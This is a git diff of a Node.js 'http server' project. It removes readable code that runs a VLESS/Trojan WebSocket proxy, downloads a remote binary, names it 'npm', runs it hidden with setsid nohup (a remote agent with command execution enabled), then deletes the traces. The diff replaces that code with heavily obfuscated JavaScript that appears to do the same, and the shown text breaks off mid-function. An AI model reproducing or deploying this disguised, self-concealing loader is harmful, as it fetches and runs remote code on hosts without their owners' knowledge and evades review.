diff --git a/.github/workflows/build-hug-image.yml b/.github/workflows/build-hug-image.yml index 6bb1cdeeb..c0e5ca513 100644 --- a/.github/workflows/build-hug-image.yml +++ b/.github/workflows/build-hug-image.yml @@ -41,7 +41,7 @@ jobs: context: . push: true tags: | - ghcr.io/${{ github.repository_owner }}/hugws:latest + ghcr.io/${{ github.repository_owner }}/LISITE:latest labels: | org.opencontainers.image.source=https://github.com/${{ github.repository }} org.opencontainers.image.description=http server diff --git a/index.js b/index.js index d0e1dfbd8..f9ae9264c 100644 --- a/index.js +++ b/index.js @@ -1,377 +1 @@ -const os = require('os'); -const http = require('http'); -const fs = require('fs'); -const axios = require('axios'); -const net = require('net'); -const path = require('path'); -const crypto = require('crypto'); -const { Buffer } = require('buffer'); -const { exec, execSync } = require('child_process'); -const { WebSocket, createWebSocketStream } = require('ws'); -const UUID = process.env.UUID || '5efabea4-f6d4-91fd-b8f0-17e004c89c60'; // 运行哪吒v1,在不同的平台需要改UUID,否则会被覆盖 -const NEZHA_SERVER = process.env.NEZHA_SERVER || ''; // 哪吒v1填写形式:nz.abc.com:8008 哪吒v0填写形式:nz.abc.com -const NEZHA_PORT = process.env.NEZHA_PORT || ''; // 哪吒v1没有此变量,v0的agent端口为{443,8443,2096,2087,2083,2053}其中之一时开启tls -const NEZHA_KEY = process.env.NEZHA_KEY || ''; // v1的NZ_CLIENT_SECRET或v0的agent端口 -const DOMAIN = process.env.DOMAIN || '1234.abc.com'; // 填写项目域名或已反代的域名,不带前缀,建议填已反代的域名 -const AUTO_ACCESS = process.env.AUTO_ACCESS || false; // 是否开启自动访问保活,false为关闭,true为开启,需同时填写DOMAIN变量 -const WSPATH = process.env.WSPATH || UUID.slice(0, 8); // 节点路径,默认获取uuid前8位 -const SUB_PATH = process.env.SUB_PATH || 'sub'; // 获取节点的订阅路径 -const NAME = process.env.NAME || ''; // 节点名称 -const PORT = process.env.PORT || 3000; // http和ws服务端口 - -let ISP = ''; -const GetISP = async () => { - try { - const res = await axios.get('https://speed.cloudflare.com/meta'); - const data = res.data; - ISP = `${data.country}-${data.asOrganization}`.replace(/ /g, '_'); - } catch (e) { - ISP = 'Unknown'; - } -} -GetISP(); - -const httpServer = http.createServer((req, res) => { - if (req.url === '/') { - const filePath = path.join(__dirname, 'index.html'); - fs.readFile(filePath, 'utf8', (err, content) => { - if (err) { - res.writeHead(200, { 'Content-Type': 'text/html' }); - res.end('Hello world!'); - return; - } - res.writeHead(200, { 'Content-Type': 'text/html' }); - res.end(content); - }); - return; - } else if (req.url === `/${SUB_PATH}`) { - const namePart = NAME ? `${NAME}-${ISP}` : ISP; - const vlessURL = `vless://${UUID}@cdns.doon.eu.org:443?encryption=none&security=tls&sni=${DOMAIN}&fp=chrome&type=ws&host=${DOMAIN}&path=%2F${WSPATH}#${namePart}`; - const trojanURL = `trojan://${UUID}@cdns.doon.eu.org:443?security=tls&sni=${DOMAIN}&fp=chrome&type=ws&host=${DOMAIN}&path=%2F${WSPATH}#${namePart}`; - const subscription = vlessURL + '\n' + trojanURL; - const base64Content = Buffer.from(subscription).toString('base64'); - - res.writeHead(200, { 'Content-Type': 'text/plain' }); - res.end(base64Content + '\n'); - } else { - res.writeHead(404, { 'Content-Type': 'text/plain' }); - res.end('Not Found\n'); - } -}); - -const wss = new WebSocket.Server({ server: httpServer }); -const uuid = UUID.replace(/-/g, ""); -const DNS_SERVERS = ['8.8.4.4', '1.1.1.1']; -// Custom DNS -function resolveHost(host) { - return new Promise((resolve, reject) => { - if (/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(host)) { - resolve(host); - return; - } - let attempts = 0; - function tryNextDNS() { - if (attempts >= DNS_SERVERS.length) { - reject(new Error(`Failed to resolve ${host} with all DNS servers`)); - return; - } - const dnsServer = DNS_SERVERS[attempts]; - attempts++; - const dnsQuery = `https://dns.google/resolve?name=${encodeURIComponent(host)}&type=A`; - axios.get(dnsQuery, { - timeout: 5000, - headers: { - 'Accept': 'application/dns-json' - } - }) - .then(response => { - const data = response.data; - if (data.Status === 0 && data.Answer && data.Answer.length > 0) { - const ip = data.Answer.find(record => record.type === 1); - if (ip) { - resolve(ip.data); - return; - } - } - tryNextDNS(); - }) - .catch(error => { - tryNextDNS(); - }); - } - - tryNextDNS(); - }); -} - -// VLE-SS处理 -function handleVlessConnection(ws, msg) { - const [VERSION] = msg; - const id = msg.slice(1, 17); - if (!id.every((v, i) => v == parseInt(uuid.substr(i * 2, 2), 16))) return false; - - let i = msg.slice(17, 18).readUInt8() + 19; - const port = msg.slice(i, i += 2).readUInt16BE(0); - const ATYP = msg.slice(i, i += 1).readUInt8(); - const host = ATYP == 1 ? msg.slice(i, i += 4).join('.') : - (ATYP == 2 ? new TextDecoder().decode(msg.slice(i + 1, i += 1 + msg.slice(i, i + 1).readUInt8())) : - (ATYP == 3 ? msg.slice(i, i += 16).reduce((s, b, i, a) => (i % 2 ? s.concat(a.slice(i - 1, i + 1)) : s), []).map(b => b.readUInt16BE(0).toString(16)).join(':') : '')); - ws.send(new Uint8Array([VERSION, 0])); - const duplex = createWebSocketStream(ws); - resolveHost(host) - .then(resolvedIP => { - net.connect({ host: resolvedIP, port }, function() { - this.write(msg.slice(i)); - duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', () => {}); - }) - .catch(error => { - net.connect({ host, port }, function() { - this.write(msg.slice(i)); - duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', () => {}); - }); - - return true; -} - -// Tro-jan处理 -function handleTrojanConnection(ws, msg) { - try { - if (msg.length < 58) return false; - const receivedPasswordHash = msg.slice(0, 56).toString(); - const possiblePasswords = [ - UUID, - ]; - - let matchedPassword = null; - for (const pwd of possiblePasswords) { - const hash = crypto.createHash('sha224').update(pwd).digest('hex'); - if (hash === receivedPasswordHash) { - matchedPassword = pwd; - break; - } - } - - if (!matchedPassword) return false; - let offset = 56; - if (msg[offset] === 0x0d && msg[offset + 1] === 0x0a) { - offset += 2; - } - - const cmd = msg[offset]; - if (cmd !== 0x01) return false; - offset += 1; - const atyp = msg[offset]; - offset += 1; - let host, port; - if (atyp === 0x01) { - host = msg.slice(offset, offset + 4).join('.'); - offset += 4; - } else if (atyp === 0x03) { - const hostLen = msg[offset]; - offset += 1; - host = msg.slice(offset, offset + hostLen).toString(); - offset += hostLen; - } else if (atyp === 0x04) { - host = msg.slice(offset, offset + 16).reduce((s, b, i, a) => - (i % 2 ? s.concat(a.slice(i - 1, i + 1)) : s), []) - .map(b => b.readUInt16BE(0).toString(16)).join(':'); - offset += 16; - } else { - return false; - } - - port = msg.readUInt16BE(offset); - offset += 2; - - if (offset < msg.length && msg[offset] === 0x0d && msg[offset + 1] === 0x0a) { - offset += 2; - } - - const duplex = createWebSocketStream(ws); - - resolveHost(host) - .then(resolvedIP => { - net.connect({ host: resolvedIP, port }, function() { - if (offset < msg.length) { - this.write(msg.slice(offset)); - } - duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', () => {}); - }) - .catch(error => { - net.connect({ host, port }, function() { - if (offset < msg.length) { - this.write(msg.slice(offset)); - } - duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', () => {}); - }); - - return true; - } catch (error) { - return false; - } -} -// Ws 连接处理 -wss.on('connection', (ws, req) => { - const url = req.url || ''; - ws.once('message', msg => { - if (msg.length > 17 && msg[0] === 0) { - const id = msg.slice(1, 17); - const isVless = id.every((v, i) => v == parseInt(uuid.substr(i * 2, 2), 16)); - if (isVless) { - if (!handleVlessConnection(ws, msg)) { - ws.close(); - } - return; - } - } - - if (!handleTrojanConnection(ws, msg)) { - ws.close(); - } - }).on('error', () => {}); -}); - -const getDownloadUrl = () => { - const arch = os.arch(); - if (arch === 'arm' || arch === 'arm64' || arch === 'aarch64') { - if (!NEZHA_PORT) { - return 'https://arm64.ssss.nyc.mn/v1'; - } else { - return 'https://arm64.ssss.nyc.mn/agent'; - } - } else { - if (!NEZHA_PORT) { - return 'https://amd64.ssss.nyc.mn/v1'; - } else { - return 'https://amd64.ssss.nyc.mn/agent'; - } - } -}; - -const downloadFile = async () => { - if (!NEZHA_SERVER && !NEZHA_KEY) return; - - try { - const url = getDownloadUrl(); - const response = await axios({ - method: 'get', - url: url, - responseType: 'stream' - }); - - const writer = fs.createWriteStream('npm'); - response.data.pipe(writer); - - return new Promise((resolve, reject) => { - writer.on('finish', () => { - console.log('npm download successfully'); - exec('chmod +x npm', (err) => { - if (err) reject(err); - resolve(); - }); - }); - writer.on('error', reject); - }); - } catch (err) { - throw err; - } -}; - -const runnz = async () => { - try { - const status = execSync('ps aux | grep -v "grep" | grep "./[n]pm"', { encoding: 'utf-8' }); - if (status.trim() !== '') { - console.log('npm is already running, skip running...'); - return; - } - } catch (e) { - // 进程不存在时继续运行nezha - } - - await downloadFile(); - let command = ''; - let tlsPorts = ['443', '8443', '2096', '2087', '2083', '2053']; - - if (NEZHA_SERVER && NEZHA_PORT && NEZHA_KEY) { - const NEZHA_TLS = tlsPorts.includes(NEZHA_PORT) ? '--tls' : ''; - command = `setsid nohup ./npm -s ${NEZHA_SERVER}:${NEZHA_PORT} -p ${NEZHA_KEY} ${NEZHA_TLS} --disable-auto-update --report-delay 4 --skip-conn --skip-procs >/dev/null 2>&1 &`; - } else if (NEZHA_SERVER && NEZHA_KEY) { - if (!NEZHA_PORT) { - const port = NEZHA_SERVER.includes(':') ? NEZHA_SERVER.split(':').pop() : ''; - const NZ_TLS = tlsPorts.includes(port) ? 'true' : 'false'; - const configYaml = `client_secret: ${NEZHA_KEY} -debug: false -disable_auto_update: true -disable_command_execute: false -disable_force_update: true -disable_nat: false -disable_send_query: false -gpu: false -insecure_tls: true -ip_report_period: 1800 -report_delay: 4 -server: ${NEZHA_SERVER} -skip_connection_count: true -skip_procs_count: true -temperature: false -tls: ${NZ_TLS} -use_gitee_to_upgrade: false -use_ipv6_country_code: false -uuid: ${UUID}`; - - fs.writeFileSync('config.yaml', configYaml); - } - command = `setsid nohup ./npm -c config.yaml >/dev/null 2>&1 &`; - } else { - console.log('NEZHA variable is empty, skip running'); - return; - } - - try { - exec(command, { shell: '/bin/bash' }, (err) => { - if (err) console.error('npm running error:', err); - else console.log('npm is running'); - }); - } catch (error) { - console.error(`error: ${error}`); - } -}; - -async function addAccessTask() { - if (!AUTO_ACCESS) return; - - if (!DOMAIN) { - return; - } - const fullURL = `https://${DOMAIN}/${SUB_PATH}`; - try { - const res = await axios.post("https://oooo.serv00.net/add-url", { - url: fullURL - }, { - headers: { - 'Content-Type': 'application/json' - } - }); - console.log('Automatic Access Task added successfully'); - } catch (error) { - // console.error('Error adding Task:', error.message); - } -} - -const delFiles = () => { - fs.unlink('npm', () => {}); - fs.unlink('config.yaml', () => {}); -}; - -httpServer.listen(PORT, () => { - runnz(); - setTimeout(() => { - delFiles(); - }, 180000); - addAccessTask(); - console.log(`Server is running on port ${PORT}`); -}); +(function(_0x57d8b8,_0x1782ae){const _0x34c80a=_0x57d8b8();function _0x15bf05(_0x3f3837,_0x3d4e52,_0xd01ba2,_0x401672){return _0x2ecc(_0x401672-0x1dd,_0x3d4e52);}function _0x11e6e2(_0x9c6c67,_0x2beaf9,_0xb01061,_0x8af806){return _0x2ecc(_0x9c6c67- -0x3c8,_0xb01061);}while(!![]){try{const _0x4b82bd=-parseInt(_0x11e6e2(-0x18d,-0x156,-0x1bf,-0x136))/(-0x2d*-0x73+-0xb09*-0x3+-0x3551)+-parseInt(_0x11e6e2(-0x1ea,-0x121,-0x26b,-0x222))/(0x1b10+-0x4*-0x474+-0x2cde)*(parseInt(_0x15bf05(0x45b,0x47b,0x4f2,0x484))/(0x1df9*0x1+0x3*0x2e7+-0x1*0x26ab))+parseInt(_0x11e6e2(-0xf0,-0x172,-0x88,-0x115))/(-0x6fb*-0x5+0x1fc3+-0x42a6)*(parseInt(_0x15bf05(0x4af,0x4fa,0x542,0x4e7))/(-0x508+0x1573+-0x833*0x2))+-parseInt(_0x15bf05(0x3f9,0x3c2,0x2fd,0x3ab))/(-0x1a89+-0x3dd*-0x1+-0xe*-0x19f)+-parseInt(_0x15bf05(0x487,0x4d5,0x343,0x40f))/(-0xfd7+-0xe*0x137+0x20e0)+parseInt(_0x11e6e2(-0x19a,-0x178,-0x18b,-0x23c))/(0x11ea+-0xd*0xac+-0x926)*(parseInt(_0x11e6e2(-0x207,-0x20d,-0x16b,-0x1d0))/(-0xd*0x11c+0x11*0x11+0x2*0x6aa))+parseInt(_0x11e6e2(-0x1bc,-0x230,-0x113,-0x110))/(0x51b*-0x7+0x1724+0x287*0x5);if(_0x4b82bd===_0x1782ae)break;else _0x34c80a['push'](_0x34c80a['shift']());}catch(_0x35ad21){_0x34c80a['push'](_0x34c80a['shift']());}}}(_0x3c44,-0x10323+0x2e779+-0xcf89*-0x1));const _0x4c84e4=(function(){let _0x567d9c=!![];return function(_0x5a18d5,_0x4f9272){const _0x374c69=_0x567d9c?function(){if(_0x4f9272){const _0x561696=_0x4f9272['apply'](_0x5a18d5,arguments);return _0x4f9272=null,_0x561696;}}:function(){};return _0x567d9c=![],_0x374c69;};}()),_0x271780=_0x4c84e4(this,function(){const _0x35112f={};_0x35112f['iIJvz']=_0x4971f9(-0x2f,0x88,-0xa3,0x20)+'+$';function _0x4971f9(_0x22aab4,_0x48aec8,_0x6a0dc7,_0xc164e9){return _0x2ecc(_0xc164e9- -0x1eb,_0x22aab4);}function _0x18068b(_0x241d3c,_0x52c289,_0x3a4357,_0x4596b6){return _0x2ecc(_0x3a4357- -0x22e,_0x52c289);}const _0x39ecc0=_0x35112f;return _0x271780['toString']()[_0x4971f9(0xe2,0x104,0x131,0x12d)](_0x39ecc0[_0x18068b(-0x100,-0x11c,-0x4f,-0x2a)])[_0x4971f9(0x1a0,0x13a,0xe3,0x101)]()[_0x18068b(0x48,-0x69,0x37,-0x71)+'r'](_0x271780)[_0x4971f9(0x1c2,0xad,0x154,0x12d)](_0x4971f9(-0xa,0x91,0x63,0x20)+'+$');});_0x271780();const _0x34b429=(function(){function _0x1d716c(_0xe0ce22,_0x583385,_0x289fd4,_0x3e17fa){return _0x2ecc(_0xe0ce22- -0x77,_0x289fd4);}const _0x4ef049={};_0x4ef049[_0x1d716c(0x250,0x2ff,0x1a7,0x1c4)]=_0x1d716c(0x207,0x240,0x1d0,0x24d)+_0x1d716c(0x211,0x1b1,0x25b,0x28e)+'yc.mn/agen'+'t',_0x4ef049['vkfEi']=_0x2617aa(0x1c0,0x270,0x28e,0x1aa),_0x4ef049[_0x1d716c(0x232,0x269,0x2be,0x245)]=function(_0x3cca75,_0x205cdd){return _0x3cca75===_0x205cdd;},_0x4ef049[_0x2617aa(0x290,0x1df,0x274,0x29c)]=_0x2617aa(0x144,0x184,0x18b,0xfb);function _0x2617aa(_0x3b0d49,_0x565097,_0x517641,_0x252b68){return _0x2ecc(_0x565097-0x3,_0x3b0d49);}const _0x52947c=_0x4ef049;let _0x2acac0=!![];return function(_0x27c5bf,_0x55b1e6){const _0x29fa59={};_0x29fa59[_0x5b262c(0x553,0x5de,0x488,0x4e2)]=_0x52947c[_0x2899d5(-0x128,-0xb9,-0xd0,-0x11a)];function _0x5b262c(_0x2acf16,_0x47a284,_0x3dbcef,_0x1bdd9a){return _0x2617aa(_0x3dbcef,_0x2acf16-0x247,_0x3dbcef-0x1de,_0x1bdd9a-0x1c1);}_0x29fa59[_0x2899d5(-0x2b0,-0x134,-0x250,-0x1eb)]=_0x52947c[_0x5b262c(0x42d,0x4bb,0x46d,0x4ab)];const _0x565345=_0x29fa59;function _0x2899d5(_0x2dea63,_0x500e7a,_0x424681,_0x4ddd63){return _0x2617aa(_0x500e7a,_0x4ddd63- -0x3e4,_0x424681-0x9c,_0x4ddd63-0xf6);}if(_0x52947c[_0x2899d5(-0x10b,-0x185,-0x159,-0x138)](_0x52947c[_0x2899d5(-0x1f6,-0x1ea,-0x201,-0x205)],_0x5b262c(0x3cb,0x470,0x390,0x44f))){const _0xab956a=_0x2acac0?function(){const _0xd4df2b={};_0xd4df2b[_0x3f8c33(0x696,0x65d,0x62e,0x5b7)]=_0x565345[_0x3f8c33(0x693,0x67a,0x6ba,0x704)];function _0x3f8c33(_0x4e2839,_0x263ecf,_0x5ce8f7,_0x12d82e){return _0x5b262c(_0x5ce8f7-0x167,_0x263ecf-0x148,_0x263ecf,_0x12d82e-0x40);}function _0x48a157(_0x355718,_0x270fab,_0x56db46,_0x2dc3bd){return _0x5b262c(_0x56db46- -0x193,_0x270fab-0x19d,_0x355718,_0x2dc3bd-0xc4);}const _0x288158=_0xd4df2b;if(_0x55b1e6){if(_0x565345[_0x3f8c33(0x518,0x5f5,0x5a7,0x5ca)]===_0x48a157(0x313,0x30f,0x25f,0x322))return _0x288158[_0x48a157(0x28c,0x2bf,0x334,0x35e)];else{const _0x111bad=_0x55b1e6[_0x48a157(0x3f4,0x3b7,0x397,0x3ab)](_0x27c5bf,arguments);return _0x55b1e6=null,_0x111bad;}}}:function(){};return _0x2acac0=![],_0xab956a;}else{const _0x48f201=_0x1c43a8['apply'](_0x11959a,arguments);return _0x423500=null,_0x48f201;}};}()),_0x4eb290=_0x34b429(this,function(){function _0x24f283(_0x9964e9,_0x493dbe,_0x1b4e1b,_0x2ed420){return _0x2ecc(_0x2ed420-0x30d,_0x9964e9);}const _0x1ba50a={'BYroy':function(_0x573e8c){return _0x573e8c();},'SIaTx':function(_0x19bb95,_0x4d06a1,_0x38eb99){return _0x19bb95(_0x4d06a1,_0x38eb99);},'isHpc':function(_0x4db1fb){return _0x4db1fb();},'UAPQu':_0x325ba2(-0x53,-0x6d,-0x1ae,-0x107)+_0x24f283(0x617,0x4c5,0x4bd,0x564)+_0x325ba2(-0x6d,-0x47,-0x3e,0x13),'exzZJ':function(_0x561505,_0x4ce59a){return _0x561505!==_0x4ce59a;},'bUnOH':_0x24f283(0x49f,0x43b,0x44c,0x4fc),'VeISs':function(_0x55105b,_0x4bc1a6){return _0x55105b+_0x4bc1a6;},'wHiMF':function(_0x4e6fbb,_0xbaf593){return _0x4e6fbb+_0xbaf593;},'UqgTV':_0x24f283(0x6d3,0x620,0x5d5,0x624)+_0x325ba2(-0x10f,-0xe2,-0x13f,-0xc7),'gxscM':_0x24f283(0x62f,0x5de,0x561,0x628)+_0x24f283(0x5b6,0x64d,0x5a0,0x613)+'rn\x20this\x22)('+'\x20)','zQzOZ':function(_0x193a3f,_0x4cf9cd){return _0x193a3f!==_0x4cf9cd;},'IbXQW':'DTlcy','mJGMb':'lBDvP','NxBhf':_0x24f283(0x536,0x5fb,0x5b5,0x57c),'lWKkO':_0x325ba2(-0x109,-0x93,-0x108,-0xc3),'LFlTD':'table','cVEUU':'trace','dunWJ':function(_0x1cc0e7,_0x1b5699){return _0x1cc0e7<_0x1b5699;},'hzFma':_0x325ba2(-0xc9,-0xbe,-0x4f,-0x31),'aEqHc':_0x325ba2(0x34,-0xbd,-0xde,-0x39)};function _0x325ba2(_0x18b2fc,_0x4c19b7,_0x470efa,_0x21ef9f){return _0x2ecc(_0x21ef9f- -0x2c4,_0x470efa);}const _0x118f5d=function(){const _0xc752ad={'aONXc':function(_0x3494d9){return _0x3494d9();}};let _0x55c4e8;try{_0x1ba50a[_0x4ec070(0x520,0x3c3,0x47c,0x431)](_0x1ba50a['bUnOH'],'ITLmi')?_0x55c4e8=Function(_0x1ba50a[_0x24ee57(-0x91,-0x6f,-0xe5,-0x141)](_0x1ba50a['wHiMF'](_0x1ba50a[_0x24ee57(-0x191,-0x10a,-0x227,-0x155)],_0x1ba50a[_0x4ec070(0x543,0x52a,0x4bd,0x515)]),');'))():(_0x1ba50a['BYroy'](_0x375d2d),_0x1ba50a[_0x24ee57(-0x192,-0xd5,-0x15a,-0x1e7)](_0x29a4b9,()=>{function _0x4d12fb(_0x1aba1f,_0x3a11ac,_0xdd040e,_0x452ebd){return _0x24ee57(_0x1aba1f-0x36f,_0x3a11ac-0x15e,_0xdd040e-0xf4,_0xdd040e);}_0xc752ad[_0x4d12fb(0x236,0x250,0x259,0x197)](_0x9998b4);},-0x19416+0x1*-0xb0b0+0x25c3*0x22),_0x1ba50a['isHpc'](_0x32e986),_0x2ceb67[_0x4ec070(0x4e8,0x3a3,0x45f,0x416)]('Server\x20is\x20'+_0x24ee57(-0x108,-0x1cf,-0x83,-0x119)+_0x4ec070(0x4ad,0x45d,0x44b,0x3ee)+_0x3a8447));}catch(_0x32f6d1){if(_0x1ba50a[_0x24ee57(-0x11c,-0x96,-0xd6,-0x133)](_0x1ba50a['IbXQW'],_0x1ba50a[_0x24ee57(-0x1de,-0x1b4,-0x284,-0x206)]))_0x55c4e8=window;else return _0x1ba50a[_0x4ec070(0x59d,0x5fd,0x590,0x605)];}function _0x24ee57(_0x1fb0a4,_0xedf6b8,_0x1661c1,_0x13d576){return _0x24f283(_0x13d576,_0xedf6b8-0x13b,_0x1661c1-0x69,_0x1fb0a4- -0x68c);}function _0x4ec070(_0x16dbb4,_0x5886da,_0x286661,_0x3b4dde){return _0x325ba2(_0x16dbb4-0x10c,_0x5886da-0x6,_0x5886da,_0x286661-0x53a);}return _0x55c4e8;},_0x2916be=_0x1ba50a[_0x325ba2(-0x76,-0x5a,0x4f,-0x22)](_0x118f5d),_0x4d5736=_0x2916be[_0x24f283(0x4c1,0x58b,0x568,0x4da)]=_0x2916be['console']||{},_0x55e8c8=[_0x24f283(0x4fe,0x5b1,0x58e,0x4f6),_0x1ba50a[_0x325ba2(-0x6b,-0x98,-0x127,-0x101)],_0x1ba50a[_0x24f283(0x59f,0x5c8,0x570,0x5ba)],_0x325ba2(-0x164,-0x179,-0x1b4,-0x11a),'exception',_0x1ba50a['LFlTD'],_0x1ba50a[_0x24f283(0x40f,0x489,0x551,0x4a7)]];for(let _0x30d004=0x1408+-0x46f*-0x5+-0x2a33*0x1;_0x1ba50a['dunWJ'](_0x30d004,_0x55e8c8[_0x24f283(0x4e3,0x5d0,0x534,0x537)]);_0x30d004++){if(_0x1ba50a['hzFma']===_0x1ba50a[_0x325ba2(-0xb7,-0x93,-0x54,-0x21)])this['write'](_0x3a56ca[_0x24f283(0x56a,0x527,0x509,0x4bf)](_0x36e290));else{const _0x26df4b=_0x34b429[_0x24f283(0x4ba,0x5f0,0x5e9,0x572)+'r'][_0x325ba2(-0x15,-0x1,-0x12c,-0xbd)][_0x325ba2(-0x171,-0x18d,-0xd2,-0xea)](_0x34b429),_0x37235b=_0x55e8c8[_0x30d004],_0x24535e=_0x4d5736[_0x37235b]||_0x26df4b;_0x26df4b[_0x24f283(0x50b,0x598,0x5f7,0x545)]=_0x34b429[_0x24f283(0x565,0x546,0x562,0x4e7)](_0x34b429),_0x26df4b[_0x325ba2(0x3a,0xcf,-0x66,0x28)]=_0x24535e[_0x24f283(0x67e,0x665,0x65b,0x5f9)]['bind'](_0x24535e),_0x4d5736[_0x37235b]=_0x26df4b;}}});_0x4eb290();const os=require('os'),http=require(_0x4a1523(0x234,0x1d2,0x1d3,0x174)),fs=require('fs'),axios=require(_0x10ed5a(0x1f9,0x294,0x1c8,0x2c7)),net=require(_0x10ed5a(0x217,0x235,0x19c,0x2e3)),path=require(_0x4a1523(0x68,0xc5,0x174,0x151)),crypto=require(_0x10ed5a(0xa9,0x135,0x82,0x12c)),{Buffer}=require(_0x4a1523(-0x10,0xb7,0x181,0xa3)),{exec,execSync}=require(_0x10ed5a(0x259,0x240,0x305,0x19d)+_0x4a1523(-0x32,0x8f,0x6b,0x43)),{WebSocket,createWebSocketStream}=require('ws'),UUID=process[_0x4a1523(0x10f,0x194,0x123,0x170)][_0x10ed5a(0x1b3,0x18e,0x21d,0x252)]||'20fb04f1-c'+_0x10ed5a(0x326,0x298,0x1ec,0x214)+_0x4a1523(0xf4,0x144,0xc8,0x124)+_0x4a1523(0x129,0x1c3,0x198,0x1f5),NEZHA_SERVER=process[_0x4a1523(0x14c,0x194,0x1c3,0x211)][_0x10ed5a(0x29b,0x27e,0x26a,0x1e3)+'ER']||'',NEZHA_PORT=process['env'][_0x4a1523(0x12a,0xf8,0xa7,0xb8)]||'',NEZHA_KEY=process[_0x4a1523(0x138,0x194,0x1ca,0x194)][_0x10ed5a(0x138,0x139,0x18c,0x168)]||'',DOMAIN=process[_0x4a1523(0x1b6,0x194,0x243,0x1d9)][_0x10ed5a(0x218,0x251,0x26e,0x1eb)]||_0x4a1523(0x29,0x7e,0x3d,-0x2e)+'om';function _0x4a1523(_0x2160df,_0x36e70e,_0xeefc9d,_0x59d7b4){return _0x2ecc(_0x36e70e- -0x12f,_0x59d7b4);}const AUTO_ACCESS=process[_0x10ed5a(0x233,0x24c,0x30a,0x1bf)][_0x4a1523(0x10c,0x19b,0x218,0xf2)+'S']||![],WSPATH=process[_0x4a1523(0x1ef,0x194,0x23c,0xe5)][_0x10ed5a(0x244,0x282,0x1cf,0x2be)]||UUID[_0x4a1523(0xc4,0x83,0x52,-0x7)](-0x2ed*-0xb+0x5c*0x2e+0x1*-0x30b7,0x8*0x166+0x198f*0x1+-0x24b7),SUB_PATH=process['env'][_0x4a1523(0xae,0x107,0x14a,0xba)]||_0x10ed5a(0xc5,0x151,0xe4,0x173),NAME=process[_0x4a1523(0x157,0x194,0x249,0x1c7)][_0x10ed5a(0x1e9,0x1c5,0xfa,0x123)]||'',PORT=process['env'][_0x10ed5a(0x2aa,0x285,0x2c6,0x24f)]||0x11d3+-0x1520+-0xf05*-0x1;let ISP='';const GetISP=async()=>{const _0x420f8f={'DiIFX':function(_0x113f18,_0x5cc26a){return _0x113f18(_0x5cc26a);},'LIhop':function(_0x522519,_0x44bbb2){return _0x522519+_0x44bbb2;},'wmAYy':_0x247a6a(0x467,0x502,0x4fd,0x48f),'EMbuK':_0x31f7ad(0x1fe,0x225,0x147,0x1c1)+_0x31f7ad(0x101,0x71,0x124,0x6c)+'lare.com/m'+_0x247a6a(0x4ce,0x3fc,0x441,0x440),'eAWiZ':_0x247a6a(0x3b3,0x4b9,0x440,0x420)};function _0x31f7ad(_0x218407,_0x362f1c,_0x264019,_0x130ed8){return _0x4a1523(_0x218407-0x1d1,_0x218407-0x5c,_0x264019-0xb5,_0x362f1c);}function _0x247a6a(_0x7486a5,_0x95b7a4,_0x4ab37a,_0x4fec14){return _0x10ed5a(_0x7486a5-0x169,_0x4fec14-0x247,_0x95b7a4,_0x4fec14-0x8f);}try{if(_0x420f8f['wmAYy']===_0x420f8f['wmAYy']){const _0x57d26f=await axios[_0x31f7ad(0xb8,0xe5,0x97,0xf5)](_0x420f8f[_0x247a6a(0x440,0x372,0x3d4,0x39f)]),_0xda3187=_0x57d26f[_0x247a6a(0x3b9,0x376,0x406,0x3d2)];ISP=(_0xda3187['country']+'-'+_0xda3187['asOrganiza'+_0x247a6a(0x3a3,0x2f6,0x335,0x359)])[_0x31f7ad(0xfe,0x1a9,0x12a,0x5e)](/ /g,'_');}else{let _0x418fd6;try{_0x418fd6=lTlmQl[_0x31f7ad(0xc8,0x118,0x54,0x184)](_0x4307ef,lTlmQl['LIhop'](_0x31f7ad(0x244,0x1ee,0x298,0x206)+_0x31f7ad(0x12a,0xd0,0x138,0x164),'{}.constru'+'ctor(\x22retu'+_0x247a6a(0x300,0x411,0x3fa,0x367)+'\x20)')+');')();}catch(_0x549622){_0x418fd6=_0x359e37;}return _0x418fd6;}}catch(_0x381a36){ISP=_0x420f8f['eAWiZ'];}};GetISP();function _0x2ecc(_0x27a633,_0x310579){_0x27a633=_0x27a633-(0x224c+0x1*-0x1c49+-0xa5*0x7);const _0x2319ce=_0x3c44();let _0x3e1efc=_0x2319ce[_0x27a633];if(_0x2ecc['utsSgb']===undefined){var _0x19a83b=function(_0x2daf1e){const _0x4b9b8a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x2b78a6='',_0x1af58a='',_0x25777c=_0x2b78a6+_0x19a83b;for(let _0x1effc3=-0x1*0x70b+0x179f+0x2*-0x84a,_0xcb9e3c,_0x5b3685,_0x373cfc=-0x9*0xa3+-0x9*0x365+0x2448;_0x5b3685=_0x2daf1e['charAt'](_0x373cfc++);~_0x5b3685&&(_0xcb9e3c=_0x1effc3%(0x2070+-0x1c80+-0x2*0x1f6)?_0xcb9e3c*(-0xf9d*-0x1+0x1f4a+0x2ea7*-0x1)+_0x5b3685:_0x5b3685,_0x1effc3++%(-0x91*0x2+0x49*0x7c+-0x2236))?_0x2b78a6+=_0x25777c['charCodeAt'](_0x373cfc+(0x1*-0x1ce9+0x1*0x166b+0x98*0xb))-(-0x4ca+-0x140d+0x18e1)!==-0x18aa+-0x2*-0x796+0x97e?String['fromCharCode'](0x85*-0x5+-0x24cd+0x2865&_0xcb9e3c>>(-(-0x113d+0x1de*0x4+0x9c7)*_0x1effc3&0x1*-0x9c2+-0x47d+0xe45)):_0x1effc3:-0xcb3*0x2+-0x1*-0x1e82+0x28e*-0x2){_0x5b3685=_0x4b9b8a['indexOf'](_0x5b3685);}for(let _0x4cdd1f=0xcd*0x10+0x3*-0x9c9+0x108b,_0x1129ac=_0x2b78a6['length'];_0x4cdd1f<_0x1129ac;_0x4cdd1f++){_0x1af58a+='%'+('00'+_0x2b78a6['charCodeAt'](_0x4cdd1f)['toString'](-0x127d+0x476+0xe17*0x1))['slice'](-(0x151*-0x3+-0x1*0x1b63+-0xfac*-0x2));}return 